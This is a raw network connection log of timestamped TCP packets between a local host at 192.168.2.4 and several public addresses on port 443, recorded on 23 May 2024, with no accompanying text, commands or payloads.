May 23, 2024 10:31:10.192835093 CEST	49755	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:10.192914963 CEST	443	49755	104.17.2.184	192.168.2.4
May 23, 2024 10:31:10.193197966 CEST	49755	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:10.238492012 CEST	443	49755	104.17.2.184	192.168.2.4
May 23, 2024 10:31:10.289360046 CEST	443	49757	104.17.3.184	192.168.2.4
May 23, 2024 10:31:10.289757013 CEST	49757	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:10.289771080 CEST	443	49757	104.17.3.184	192.168.2.4
May 23, 2024 10:31:10.290867090 CEST	443	49757	104.17.3.184	192.168.2.4
May 23, 2024 10:31:10.291340113 CEST	49757	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:10.291521072 CEST	443	49757	104.17.3.184	192.168.2.4
May 23, 2024 10:31:10.291949987 CEST	49757	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:10.338490963 CEST	443	49757	104.17.3.184	192.168.2.4
May 23, 2024 10:31:10.367640018 CEST	443	49755	104.17.2.184	192.168.2.4
May 23, 2024 10:31:10.367779970 CEST	443	49755	104.17.2.184	192.168.2.4
May 23, 2024 10:31:10.367847919 CEST	49755	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:10.392019033 CEST	49755	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:10.392083883 CEST	443	49755	104.17.2.184	192.168.2.4
May 23, 2024 10:31:10.411550045 CEST	49758	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:10.411572933 CEST	443	49758	104.17.2.184	192.168.2.4
May 23, 2024 10:31:10.411750078 CEST	49758	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:10.412024975 CEST	49758	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:10.412030935 CEST	443	49758	104.17.2.184	192.168.2.4
May 23, 2024 10:31:10.484039068 CEST	443	49757	104.17.3.184	192.168.2.4
May 23, 2024 10:31:10.484132051 CEST	443	49757	104.17.3.184	192.168.2.4
May 23, 2024 10:31:10.484180927 CEST	49757	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:10.485208035 CEST	49757	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:10.485223055 CEST	443	49757	104.17.3.184	192.168.2.4
May 23, 2024 10:31:10.899996042 CEST	443	49758	104.17.2.184	192.168.2.4
May 23, 2024 10:31:10.902509928 CEST	49758	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:10.902517080 CEST	443	49758	104.17.2.184	192.168.2.4
May 23, 2024 10:31:10.902792931 CEST	443	49758	104.17.2.184	192.168.2.4
May 23, 2024 10:31:10.906523943 CEST	49758	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:10.906523943 CEST	49758	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:10.906534910 CEST	443	49758	104.17.2.184	192.168.2.4
May 23, 2024 10:31:10.906579018 CEST	443	49758	104.17.2.184	192.168.2.4
May 23, 2024 10:31:10.950514078 CEST	49758	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:11.059108973 CEST	443	49758	104.17.2.184	192.168.2.4
May 23, 2024 10:31:11.059170008 CEST	443	49758	104.17.2.184	192.168.2.4
May 23, 2024 10:31:11.059428930 CEST	49758	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:11.061296940 CEST	49758	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:11.061309099 CEST	443	49758	104.17.2.184	192.168.2.4
May 23, 2024 10:31:11.178361893 CEST	49759	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:11.178404093 CEST	443	49759	104.17.3.184	192.168.2.4
May 23, 2024 10:31:11.178661108 CEST	49759	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:11.181071043 CEST	49759	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:11.181086063 CEST	443	49759	104.17.3.184	192.168.2.4
May 23, 2024 10:31:11.599062920 CEST	443	49740	172.217.18.4	192.168.2.4
May 23, 2024 10:31:11.599211931 CEST	443	49740	172.217.18.4	192.168.2.4
May 23, 2024 10:31:11.599427938 CEST	49740	443	192.168.2.4	172.217.18.4
May 23, 2024 10:31:11.649295092 CEST	443	49759	104.17.3.184	192.168.2.4
May 23, 2024 10:31:11.682405949 CEST	49759	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:11.682415009 CEST	443	49759	104.17.3.184	192.168.2.4
May 23, 2024 10:31:11.682782888 CEST	443	49759	104.17.3.184	192.168.2.4
May 23, 2024 10:31:11.696404934 CEST	49759	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:11.696476936 CEST	443	49759	104.17.3.184	192.168.2.4
May 23, 2024 10:31:11.696763039 CEST	49759	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:11.742499113 CEST	443	49759	104.17.3.184	192.168.2.4
May 23, 2024 10:31:11.819201946 CEST	443	49759	104.17.3.184	192.168.2.4
May 23, 2024 10:31:11.819281101 CEST	443	49759	104.17.3.184	192.168.2.4
May 23, 2024 10:31:11.819323063 CEST	49759	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:12.397286892 CEST	49759	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:12.397305012 CEST	443	49759	104.17.3.184	192.168.2.4
May 23, 2024 10:31:13.193041086 CEST	49740	443	192.168.2.4	172.217.18.4
May 23, 2024 10:31:13.193062067 CEST	443	49740	172.217.18.4	192.168.2.4
May 23, 2024 10:31:13.470640898 CEST	49763	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:13.470748901 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:13.470855951 CEST	49763	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:13.471106052 CEST	49763	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:13.471141100 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:13.959774971 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:13.960621119 CEST	49763	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:13.960690022 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:13.961788893 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:13.962826014 CEST	49763	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:13.963015079 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:13.963187933 CEST	49763	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:13.963291883 CEST	49763	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:13.963371992 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:13.963483095 CEST	49763	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:13.963532925 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:14.203490973 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:14.205086946 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:14.205142021 CEST	49763	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:14.205176115 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:14.210331917 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:14.210387945 CEST	49763	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:14.210397005 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:14.212121010 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:14.212178946 CEST	49763	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:14.212187052 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:14.215610981 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:14.215661049 CEST	49763	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:14.215670109 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:14.219011068 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:14.219086885 CEST	49763	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:14.219094038 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:14.262568951 CEST	49763	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:14.262582064 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:14.294512033 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:14.294665098 CEST	49763	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:14.294697046 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:14.297863960 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:14.297991037 CEST	49763	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:14.298010111 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:14.301359892 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:14.301423073 CEST	49763	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:14.301436901 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:14.301537037 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:14.301590919 CEST	49763	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:14.301613092 CEST	443	49763	104.17.2.184	192.168.2.4
May 23, 2024 10:31:14.845266104 CEST	49764	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:14.845356941 CEST	443	49764	104.17.3.184	192.168.2.4
May 23, 2024 10:31:14.845427036 CEST	49764	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:14.845676899 CEST	49764	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:14.845716953 CEST	443	49764	104.17.3.184	192.168.2.4
May 23, 2024 10:31:15.334330082 CEST	443	49764	104.17.3.184	192.168.2.4
May 23, 2024 10:31:15.379462004 CEST	49764	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:15.379528046 CEST	443	49764	104.17.3.184	192.168.2.4
May 23, 2024 10:31:15.379940033 CEST	443	49764	104.17.3.184	192.168.2.4
May 23, 2024 10:31:15.380333900 CEST	49764	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:15.380413055 CEST	443	49764	104.17.3.184	192.168.2.4
May 23, 2024 10:31:15.381062031 CEST	49764	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:15.426497936 CEST	443	49764	104.17.3.184	192.168.2.4
May 23, 2024 10:31:15.530442953 CEST	443	49764	104.17.3.184	192.168.2.4
May 23, 2024 10:31:15.530633926 CEST	443	49764	104.17.3.184	192.168.2.4
May 23, 2024 10:31:15.530848026 CEST	49764	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:15.531600952 CEST	49764	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:15.531645060 CEST	443	49764	104.17.3.184	192.168.2.4
May 23, 2024 10:31:26.619338036 CEST	49769	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:26.619364023 CEST	443	49769	104.17.2.184	192.168.2.4
May 23, 2024 10:31:26.619431019 CEST	49769	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:26.619704008 CEST	49769	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:26.619714975 CEST	443	49769	104.17.2.184	192.168.2.4
May 23, 2024 10:31:27.840337038 CEST	443	49769	104.17.2.184	192.168.2.4
May 23, 2024 10:31:27.840640068 CEST	49769	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:27.840653896 CEST	443	49769	104.17.2.184	192.168.2.4
May 23, 2024 10:31:27.840893984 CEST	443	49769	104.17.2.184	192.168.2.4
May 23, 2024 10:31:27.841346025 CEST	49769	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:27.841394901 CEST	443	49769	104.17.2.184	192.168.2.4
May 23, 2024 10:31:27.841557980 CEST	49769	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:27.841691017 CEST	49769	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:27.841720104 CEST	443	49769	104.17.2.184	192.168.2.4
May 23, 2024 10:31:27.841774940 CEST	49769	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:27.841778994 CEST	443	49769	104.17.2.184	192.168.2.4
May 23, 2024 10:31:27.841799974 CEST	49769	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:27.841819048 CEST	443	49769	104.17.2.184	192.168.2.4
May 23, 2024 10:31:27.841901064 CEST	49769	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:27.886493921 CEST	443	49769	104.17.2.184	192.168.2.4
May 23, 2024 10:31:28.095412970 CEST	443	49769	104.17.2.184	192.168.2.4
May 23, 2024 10:31:28.097188950 CEST	443	49769	104.17.2.184	192.168.2.4
May 23, 2024 10:31:28.097234011 CEST	49769	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:28.097246885 CEST	443	49769	104.17.2.184	192.168.2.4
May 23, 2024 10:31:28.099059105 CEST	443	49769	104.17.2.184	192.168.2.4
May 23, 2024 10:31:28.099108934 CEST	49769	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:28.099308014 CEST	49769	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:28.099318981 CEST	443	49769	104.17.2.184	192.168.2.4
May 23, 2024 10:31:28.105998039 CEST	49770	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:28.106030941 CEST	443	49770	104.21.52.56	192.168.2.4
May 23, 2024 10:31:28.106096983 CEST	49770	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:28.106327057 CEST	49770	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:28.106340885 CEST	443	49770	104.21.52.56	192.168.2.4
May 23, 2024 10:31:28.108331919 CEST	49771	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:28.108351946 CEST	443	49771	104.17.3.184	192.168.2.4
May 23, 2024 10:31:28.108450890 CEST	49771	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:28.108696938 CEST	49771	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:28.108706951 CEST	443	49771	104.17.3.184	192.168.2.4
May 23, 2024 10:31:28.691726923 CEST	443	49771	104.17.3.184	192.168.2.4
May 23, 2024 10:31:28.691984892 CEST	49771	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:28.691993952 CEST	443	49771	104.17.3.184	192.168.2.4
May 23, 2024 10:31:28.692281961 CEST	443	49771	104.17.3.184	192.168.2.4
May 23, 2024 10:31:28.692672968 CEST	49771	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:28.692734957 CEST	443	49771	104.17.3.184	192.168.2.4
May 23, 2024 10:31:28.693187952 CEST	49771	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:28.694123983 CEST	443	49770	104.21.52.56	192.168.2.4
May 23, 2024 10:31:28.694341898 CEST	49770	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:28.694355011 CEST	443	49770	104.21.52.56	192.168.2.4
May 23, 2024 10:31:28.694844961 CEST	443	49770	104.21.52.56	192.168.2.4
May 23, 2024 10:31:28.695229053 CEST	49770	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:28.695305109 CEST	443	49770	104.21.52.56	192.168.2.4
May 23, 2024 10:31:28.695384979 CEST	49770	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:28.695554018 CEST	49770	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:28.695563078 CEST	443	49770	104.21.52.56	192.168.2.4
May 23, 2024 10:31:28.738493919 CEST	443	49771	104.17.3.184	192.168.2.4
May 23, 2024 10:31:28.879991055 CEST	443	49771	104.17.3.184	192.168.2.4
May 23, 2024 10:31:28.880057096 CEST	443	49771	104.17.3.184	192.168.2.4
May 23, 2024 10:31:28.880207062 CEST	49771	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:28.880842924 CEST	49771	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:28.880867004 CEST	443	49771	104.17.3.184	192.168.2.4
May 23, 2024 10:31:29.303550005 CEST	443	49770	104.21.52.56	192.168.2.4
May 23, 2024 10:31:29.303870916 CEST	443	49770	104.21.52.56	192.168.2.4
May 23, 2024 10:31:29.304131985 CEST	49770	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:29.305001020 CEST	49770	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:29.305015087 CEST	443	49770	104.21.52.56	192.168.2.4
May 23, 2024 10:31:29.318387985 CEST	49772	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:29.318411112 CEST	443	49772	104.21.52.56	192.168.2.4
May 23, 2024 10:31:29.319096088 CEST	49772	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:29.319353104 CEST	49772	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:29.319365025 CEST	443	49772	104.21.52.56	192.168.2.4
May 23, 2024 10:31:29.400002003 CEST	49773	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:29.400024891 CEST	443	49773	172.67.195.241	192.168.2.4
May 23, 2024 10:31:29.400396109 CEST	49773	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:29.400396109 CEST	49773	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:29.400424957 CEST	443	49773	172.67.195.241	192.168.2.4
May 23, 2024 10:31:29.887414932 CEST	443	49772	104.21.52.56	192.168.2.4
May 23, 2024 10:31:29.887693882 CEST	49772	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:29.887705088 CEST	443	49772	104.21.52.56	192.168.2.4
May 23, 2024 10:31:29.888824940 CEST	443	49772	104.21.52.56	192.168.2.4
May 23, 2024 10:31:29.889102936 CEST	49772	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:29.889267921 CEST	443	49772	104.21.52.56	192.168.2.4
May 23, 2024 10:31:29.889278889 CEST	49772	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:29.889379025 CEST	443	49772	104.21.52.56	192.168.2.4
May 23, 2024 10:31:29.932531118 CEST	49772	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:29.979875088 CEST	443	49773	172.67.195.241	192.168.2.4
May 23, 2024 10:31:29.980127096 CEST	49773	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:29.980144978 CEST	443	49773	172.67.195.241	192.168.2.4
May 23, 2024 10:31:29.981144905 CEST	443	49773	172.67.195.241	192.168.2.4
May 23, 2024 10:31:29.981201887 CEST	49773	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:29.981648922 CEST	49773	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:29.981702089 CEST	443	49773	172.67.195.241	192.168.2.4
May 23, 2024 10:31:29.981801033 CEST	49773	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:29.981808901 CEST	443	49773	172.67.195.241	192.168.2.4
May 23, 2024 10:31:30.026293039 CEST	49773	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:30.491389036 CEST	443	49772	104.21.52.56	192.168.2.4
May 23, 2024 10:31:30.494915009 CEST	443	49772	104.21.52.56	192.168.2.4
May 23, 2024 10:31:30.494971037 CEST	49772	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:30.494985104 CEST	443	49772	104.21.52.56	192.168.2.4
May 23, 2024 10:31:30.501142979 CEST	443	49772	104.21.52.56	192.168.2.4
May 23, 2024 10:31:30.501255989 CEST	49772	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:30.506882906 CEST	49772	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:30.506895065 CEST	443	49772	104.21.52.56	192.168.2.4
May 23, 2024 10:31:30.514420986 CEST	49774	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:30.514437914 CEST	443	49774	104.21.52.56	192.168.2.4
May 23, 2024 10:31:30.514609098 CEST	49774	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:30.514895916 CEST	49774	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:30.514905930 CEST	443	49774	104.21.52.56	192.168.2.4
May 23, 2024 10:31:30.582591057 CEST	443	49773	172.67.195.241	192.168.2.4
May 23, 2024 10:31:30.582659960 CEST	443	49773	172.67.195.241	192.168.2.4
May 23, 2024 10:31:30.582819939 CEST	49773	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:30.584373951 CEST	49773	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:30.584392071 CEST	443	49773	172.67.195.241	192.168.2.4
May 23, 2024 10:31:30.645745039 CEST	49775	443	192.168.2.4	35.190.80.1
May 23, 2024 10:31:30.645776033 CEST	443	49775	35.190.80.1	192.168.2.4
May 23, 2024 10:31:30.645843983 CEST	49775	443	192.168.2.4	35.190.80.1
May 23, 2024 10:31:30.646059990 CEST	49775	443	192.168.2.4	35.190.80.1
May 23, 2024 10:31:30.646073103 CEST	443	49775	35.190.80.1	192.168.2.4
May 23, 2024 10:31:31.086329937 CEST	443	49774	104.21.52.56	192.168.2.4
May 23, 2024 10:31:31.086602926 CEST	49774	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:31.086618900 CEST	443	49774	104.21.52.56	192.168.2.4
May 23, 2024 10:31:31.087718964 CEST	443	49774	104.21.52.56	192.168.2.4
May 23, 2024 10:31:31.088136911 CEST	49774	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:31.088263035 CEST	49774	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:31.088268042 CEST	443	49774	104.21.52.56	192.168.2.4
May 23, 2024 10:31:31.088301897 CEST	443	49774	104.21.52.56	192.168.2.4
May 23, 2024 10:31:31.125154972 CEST	443	49775	35.190.80.1	192.168.2.4
May 23, 2024 10:31:31.125657082 CEST	49775	443	192.168.2.4	35.190.80.1
May 23, 2024 10:31:31.125674009 CEST	443	49775	35.190.80.1	192.168.2.4
May 23, 2024 10:31:31.126625061 CEST	443	49775	35.190.80.1	192.168.2.4
May 23, 2024 10:31:31.126693010 CEST	49775	443	192.168.2.4	35.190.80.1
May 23, 2024 10:31:31.133863926 CEST	49775	443	192.168.2.4	35.190.80.1
May 23, 2024 10:31:31.133919001 CEST	443	49775	35.190.80.1	192.168.2.4
May 23, 2024 10:31:31.134013891 CEST	49775	443	192.168.2.4	35.190.80.1
May 23, 2024 10:31:31.138346910 CEST	49774	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:31.174530983 CEST	443	49775	35.190.80.1	192.168.2.4
May 23, 2024 10:31:31.185208082 CEST	49775	443	192.168.2.4	35.190.80.1
May 23, 2024 10:31:31.185221910 CEST	443	49775	35.190.80.1	192.168.2.4
May 23, 2024 10:31:31.232085943 CEST	49775	443	192.168.2.4	35.190.80.1
May 23, 2024 10:31:31.261972904 CEST	443	49775	35.190.80.1	192.168.2.4
May 23, 2024 10:31:31.262435913 CEST	49775	443	192.168.2.4	35.190.80.1
May 23, 2024 10:31:31.262471914 CEST	443	49775	35.190.80.1	192.168.2.4
May 23, 2024 10:31:31.262556076 CEST	49775	443	192.168.2.4	35.190.80.1
May 23, 2024 10:31:31.264472961 CEST	49776	443	192.168.2.4	35.190.80.1
May 23, 2024 10:31:31.264499903 CEST	443	49776	35.190.80.1	192.168.2.4
May 23, 2024 10:31:31.264667034 CEST	49776	443	192.168.2.4	35.190.80.1
May 23, 2024 10:31:31.264969110 CEST	49776	443	192.168.2.4	35.190.80.1
May 23, 2024 10:31:31.264977932 CEST	443	49776	35.190.80.1	192.168.2.4
May 23, 2024 10:31:31.658196926 CEST	443	49774	104.21.52.56	192.168.2.4
May 23, 2024 10:31:31.658663988 CEST	443	49774	104.21.52.56	192.168.2.4
May 23, 2024 10:31:31.658756018 CEST	49774	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:31.659626007 CEST	49774	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:31.659638882 CEST	443	49774	104.21.52.56	192.168.2.4
May 23, 2024 10:31:31.661716938 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:31.661745071 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:31.661834955 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:31.662064075 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:31.662075996 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:31.845446110 CEST	443	49776	35.190.80.1	192.168.2.4
May 23, 2024 10:31:31.845766068 CEST	49776	443	192.168.2.4	35.190.80.1
May 23, 2024 10:31:31.845793962 CEST	443	49776	35.190.80.1	192.168.2.4
May 23, 2024 10:31:31.846679926 CEST	443	49776	35.190.80.1	192.168.2.4
May 23, 2024 10:31:31.846741915 CEST	49776	443	192.168.2.4	35.190.80.1
May 23, 2024 10:31:31.847016096 CEST	49776	443	192.168.2.4	35.190.80.1
May 23, 2024 10:31:31.847081900 CEST	443	49776	35.190.80.1	192.168.2.4
May 23, 2024 10:31:31.847141027 CEST	49776	443	192.168.2.4	35.190.80.1
May 23, 2024 10:31:31.890496969 CEST	443	49776	35.190.80.1	192.168.2.4
May 23, 2024 10:31:31.891295910 CEST	49776	443	192.168.2.4	35.190.80.1
May 23, 2024 10:31:31.891320944 CEST	443	49776	35.190.80.1	192.168.2.4
May 23, 2024 10:31:31.938175917 CEST	49776	443	192.168.2.4	35.190.80.1
May 23, 2024 10:31:32.023319006 CEST	443	49776	35.190.80.1	192.168.2.4
May 23, 2024 10:31:32.023642063 CEST	49776	443	192.168.2.4	35.190.80.1
May 23, 2024 10:31:32.023700953 CEST	443	49776	35.190.80.1	192.168.2.4
May 23, 2024 10:31:32.023760080 CEST	49776	443	192.168.2.4	35.190.80.1
May 23, 2024 10:31:32.192636013 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.192960978 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.193023920 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.193830967 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.194128990 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.194222927 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.194412947 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.194447994 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.235083103 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.819480896 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.822387934 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.822462082 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.822547913 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.835647106 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.835752964 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.835764885 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.835817099 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.835999012 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.836015940 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.838892937 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.838984013 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.838984013 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.839013100 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.839071989 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.843837976 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.847573996 CEST	49778	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.847640038 CEST	443	49778	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.847712040 CEST	49778	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.847964048 CEST	49779	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.847982883 CEST	443	49779	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.848315954 CEST	49779	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.848453045 CEST	49780	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.848495960 CEST	443	49780	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.848555088 CEST	49780	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.848762989 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.848843098 CEST	49777	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.848861933 CEST	443	49777	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.848877907 CEST	49781	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.848886013 CEST	443	49781	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.848931074 CEST	49781	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.849212885 CEST	49782	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.849219084 CEST	443	49782	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.849339962 CEST	49782	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.850029945 CEST	49778	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.850059986 CEST	443	49778	104.21.52.56	192.168.2.4
May 23, 2024 10:31:32.850166082 CEST	49779	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:32.850188971 CEST	443	49779	104.21.52.56	192.168.2.4
